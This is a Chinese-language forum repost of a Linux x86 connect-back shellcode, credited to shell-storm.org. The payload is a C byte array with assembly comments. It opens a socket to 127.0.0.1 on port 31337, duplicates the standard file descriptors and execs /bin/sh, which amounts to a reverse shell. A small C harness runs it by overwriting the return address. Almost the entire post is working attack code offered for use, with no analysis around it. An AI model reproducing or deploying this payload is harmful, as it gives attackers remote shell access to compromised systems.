发新话题
打印

(linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes

(linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes

信息来源:http://www.shell-storm.org/
复制内容到剪贴板
代码:
/*
* (linux/x86) connect-back shellcode, 127.0.0.1:31337/tcp - 74 bytes
* - izik < izik@tty64.org >
*/

char shellcode[] =

        "\x6a\x66"              // push $0x66
        "\x58"                  // pop %eax
        "\x99"                  // cltd
        "\x6a\x01"              // push $0x1
        "\x5b"                  // pop %ebx
        "\x52"                  // push %edx
        "\x53"                  // push %ebx
        "\x6a\x02"              // push $0x2
        "\x89\xe1"              // mov %esp,%ecx
        "\xcd\x80"              // int $0x80
        "\x5b"                  // pop %ebx
        "\x5d"                  // pop %ebp
        "\xbe\x80\xff\xff\xfe"  // mov $0xfeffff80,%esi (0xxfeffff80 = ~127.0.0.1)
        "\xf7\xd6"              // not %esi
        "\x56"                  // push %esi
        "\x66\xbd\x69\x7a"      // mov $0x7a69,%bp (0x7a69 = 31337)
        "\x0f\xcd"              // bswap %ebp
        "\x09\xdd"              // or %ebx,%ebp
        "\x55"                  // push %ebp
        "\x43"                  // inc %ebx
        "\x6a\x10"              // push $0x10
        "\x51"                  // push %ecx
        "\x50"                  // push %eax
        "\xb0\x66"              // mov $0x66,%al

        //
        // <_doint>:
        //

        "\x89\xe1"              // mov %esp,%ecx
        "\xcd\x80"              // int $0x80
        "\x87\xd9"              // xchg %ebx,%ecx
        "\x5b"                  // pop %ebx
       
        //
        // <_dup2loop>:
        //

        "\xb0\x3f"              // mov $0x3f,%al
        "\xcd\x80"              // int $0x80
        "\x49"                  // dec %ecx
        "\x79\xf9"              // jns <_dup2loop>
        "\xb0\x0b"              // mov $0xb,%al
        "\x52"                  // push %edx
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
        "\x89\xe3"              // mov %esp,%ebx
        "\x52"                  // push %edx
        "\x53"                  // push %ebx
        "\xeb\xdf";             // jmp <_doint>

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}

TOP

发新话题